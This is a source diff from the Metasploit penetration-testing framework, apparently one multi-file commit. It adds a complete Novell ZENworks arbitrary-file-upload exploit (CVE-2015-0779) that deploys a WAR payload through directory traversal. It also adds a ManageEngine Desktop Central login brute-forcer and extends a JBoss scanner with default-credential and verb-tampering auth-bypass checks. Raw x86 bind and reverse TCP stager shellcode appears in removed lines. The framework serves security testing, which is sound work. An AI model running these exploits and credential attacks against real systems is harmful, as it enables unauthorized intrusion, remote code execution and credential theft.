|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0.pre.rails.pre.4.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -7,7 +7,6 @@ require 'rex/proto/http'
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -15,10 +14,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JBoss Vulnerability Scanner',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module scans a JBoss instance for a few vulnerablities.
|
||||
},
|
||||
'Author' => [ 'Tyler Krpata' ],
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Tyler Krpata',
|
||||
'Zach Grace <@ztgrace>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0738' ] # VERB auth bypass
|
||||
|
@ -28,31 +31,29 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]),
|
||||
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/"+Rex::Text.rand_text_alpha(12),
|
||||
'uri' => "/" + Rex::Text.rand_text_alpha(12),
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
|
||||
}, 20)
|
||||
'ctype' => 'text/plain'
|
||||
})
|
||||
|
||||
if res
|
||||
|
||||
info = http_fingerprint({ :response => res })
|
||||
info = http_fingerprint(:response => res)
|
||||
print_status(info)
|
||||
|
||||
if(res.body and />(JBoss[^<]+)/.match(res.body) )
|
||||
if res.body && />(JBoss[^<]+)/.match(res.body)
|
||||
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
|
||||
end
|
||||
|
||||
apps = [ '/jmx-console/HtmlAdaptor',
|
||||
apps = [
|
||||
'/jmx-console/HtmlAdaptor',
|
||||
'/status',
|
||||
'/web-console/ServerInfo.jsp',
|
||||
# apps added per Patrick Hof
|
||||
|
@ -65,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
check_app(app)
|
||||
end
|
||||
|
||||
jboss_as_default_creds
|
||||
|
||||
ports = {
|
||||
# 1098i, 1099, and 4444 needed to use twiddle
|
||||
1098 => 'Naming Service',
|
||||
|
@ -72,22 +75,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
4444 => 'RMI invoker'
|
||||
}
|
||||
print_status("#{rhost}:#{rport} Checking services...")
|
||||
ports.each do |port,service|
|
||||
status = test_connection(ip,port) == :up ? "open" : "closed";
|
||||
ports.each do |port, service|
|
||||
status = test_connection(ip, port) == :up ? "open" : "closed"
|
||||
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_app(app)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => app,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
}, 20)
|
||||
'ctype' => 'text/plain'
|
||||
})
|
||||
|
||||
if (res)
|
||||
if res
|
||||
case
|
||||
when res.code == 200
|
||||
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
|
||||
|
@ -96,6 +98,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when res.code == 401
|
||||
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
||||
bypass_auth(app)
|
||||
basic_auth_default_creds(app)
|
||||
when res.code == 404
|
||||
print_status("#{rhost}:#{rport} #{app} not found (404)")
|
||||
when res.code == 301, res.code == 302
|
||||
|
@ -108,48 +111,125 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def bypass_auth(app)
|
||||
def jboss_as_default_creds
|
||||
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")
|
||||
|
||||
session = jboss_as_session_setup(rhost, rport)
|
||||
return false if session.nil?
|
||||
|
||||
# Default AS creds
|
||||
username = 'admin'
|
||||
password = 'admin'
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => '/admin-console/login.seam',
|
||||
'method' => 'POST',
|
||||
'version' => '1.1',
|
||||
'vhost' => "#{rhost}",
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
|
||||
},
|
||||
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
|
||||
})
|
||||
|
||||
# Valid creds if 302 redirected to summary.seam and not error.seam
|
||||
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
|
||||
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
|
||||
add_creds(username, password)
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
end
|
||||
end
|
||||
|
||||
def add_creds(username, password)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'jboss',
|
||||
protocol: 'tcp',
|
||||
workspace_id: framework.db.workspace.id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
end
|
||||
|
||||
def jboss_as_session_setup(rhost, rport)
|
||||
res = send_request_raw({
|
||||
'uri' => '/admin-console/login.seam',
|
||||
'method' => 'GET',
|
||||
'version' => '1.1',
|
||||
'vhost' => "#{rhost}"
|
||||
})
|
||||
|
||||
unless res
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
|
||||
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
|
||||
rescue ::NoMethodError
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
return nil
|
||||
end
|
||||
|
||||
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
|
||||
end
|
||||
|
||||
def bypass_auth(app)
|
||||
print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => app,
|
||||
'method' => datastore['VERB'],
|
||||
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
|
||||
}, 20)
|
||||
if (res and res.code == 200)
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
|
||||
end
|
||||
end
|
||||
|
||||
def basic_auth_default_creds(app)
|
||||
res = send_request_cgi({
|
||||
'uri' => app,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
'authorization' => basic_auth('admin','admin')
|
||||
}, 20)
|
||||
if (res and res.code == 200)
|
||||
print_good("#{rhost}:#{rport} Authenticated using admin:admin")
|
||||
'authorization' => basic_auth('admin', 'admin')
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
|
||||
add_creds("admin", "admin")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# function stole'd from mssql_ping
|
||||
def test_connection(ip,port)
|
||||
def test_connection(ip, port)
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => port,
|
||||
'Timeout' => 20
|
||||
)
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
return :down
|
||||
end
|
||||
sock.close
|
||||
return :up
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine Desktop Central Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a ManageEngine Desktop Central.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'RPORT' => 8020}
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
# Initializes CredentialCollection and ManageEngineDesktopCentral
|
||||
def init(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
# Reports a good login credential
|
||||
def do_report(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
do_report(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
init(ip)
|
||||
unless @scanner.check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central')
|
||||
return
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
|
@ -10,17 +10,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::FF,
|
||||
:ua_minver => "31.0",
|
||||
:ua_maxver => "34.0",
|
||||
:javascript => true,
|
||||
:rank => ManualRanking
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in Novell ZENworks Configuration
|
||||
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
|
||||
the UploadServlet which accepts unauthenticated file uploads and does not check the
|
||||
"uid" parameter for directory traversal characters. This allows an attacker to write
|
||||
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
|
||||
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
|
||||
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
|
||||
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
|
||||
Metasploit exploit, but it abuses a different parameter of the same servlet.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0779'],
|
||||
['OSVDB', '120382'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21']
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Privileged' => true,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 7 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL',
|
||||
[true, 'Use SSL', true]),
|
||||
OptString.new('TARGETURI',
|
||||
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),
|
||||
OptString.new('TOMCAT_PATH',
|
||||
[false, 'The Tomcat webapps traversal path (from the temp directory)'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def upload_war_and_exec(tomcat_path)
|
||||
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
|
||||
|
||||
print_status("#{peer} - Uploading WAR file to #{tomcat_path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
|
||||
'method' => 'POST',
|
||||
'data' => war_payload,
|
||||
'ctype' => 'application/octet-stream',
|
||||
'vars_get' => {
|
||||
'uid' => tomcat_path,
|
||||
'filename' => "#{app_base}.war"
|
||||
}
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Upload appears to have been successful")
|
||||
else
|
||||
print_error("#{peer} - Failed to upload, try again with a different path?")
|
||||
return false
|
||||
end
|
||||
|
||||
10.times do
|
||||
Rex.sleep(2)
|
||||
|
||||
# Now make a request to trigger the newly deployed war
|
||||
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
break if res.nil?
|
||||
# Failure. Unexpected answer
|
||||
break if res.code != 200
|
||||
# Unless session... keep looping
|
||||
return true if session_created?
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
tomcat_paths = []
|
||||
if datastore['TOMCAT_PATH']
|
||||
tomcat_paths << datastore['TOMCAT_PATH']
|
||||
end
|
||||
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])
|
||||
|
||||
tomcat_paths.each do |tomcat_path|
|
||||
break if upload_war_and_exec(tomcat_path)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
|
||||
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).
|
||||
By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
|
||||
and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
|
||||
set the hostname argument (HNAME).
|
||||
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
|
||||
[ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
|
||||
],
|
||||
'DisclosureDate' => 'Oct 9 2008',
|
||||
'DefaultTarget' => 0))
|
||||
|
|
|
@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['ZDI', '14-365'],
|
||||
['CVE', '2014-0569'],
|
||||
['OSVDB', '113199'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
|
||||
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
|
||||
],
|
||||
|
|
|
@ -6,86 +6,26 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
###
|
||||
#
|
||||
# BindTcp
|
||||
# -------
|
||||
#
|
||||
# Linux bind TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 79
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'Name' => 'Bind TCP Stager (Linux x86)',
|
||||
'Description' => 'Listen for a connection (Linux x86)',
|
||||
'Author' => [ 'skape', 'egypt', ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 0x29, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
|
||||
"\x6a\x7d" +# push byte +0x7d
|
||||
"\x58" +# pop eax
|
||||
"\x99" +# cdq
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x5e" +# pop esi
|
||||
"\x52" +# push edx
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x6a\x10" +# push byte +0x10
|
||||
"\x51" +# push ecx
|
||||
"\x50" +# push eax
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xd1\xe3" +# shl ebx,1
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\x51\x04" +# mov [ecx+0x4],edx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x89\xdf" +# mov edi,ebx
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => true }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,49 +6,26 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 285
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Name' => 'Bind TCP Stager (Windows x86)',
|
||||
'Description' => 'Listen for a connection (Windows x86)',
|
||||
'Author' => ['hdm', 'skape', 'sf'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'RequiresMidstager' => false,
|
||||
'Offsets' => { 'LPORT' => [ 192, 'n' ] },
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
|
||||
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
|
||||
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
|
||||
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
|
||||
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
|
||||
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
|
||||
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
|
||||
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 281
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,38 +25,8 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'RequiresMidstager' => false,
|
||||
'Offsets' => {
|
||||
# ExitFunk Offset: 222
|
||||
'LHOST' => [ 190, 'ADDR' ],
|
||||
'LPORT' => [ 197, 'n' ],
|
||||
'ReverseConnectRetries' => [ 188, 'C']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
|
||||
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" +
|
||||
"\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" +
|
||||
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" +
|
||||
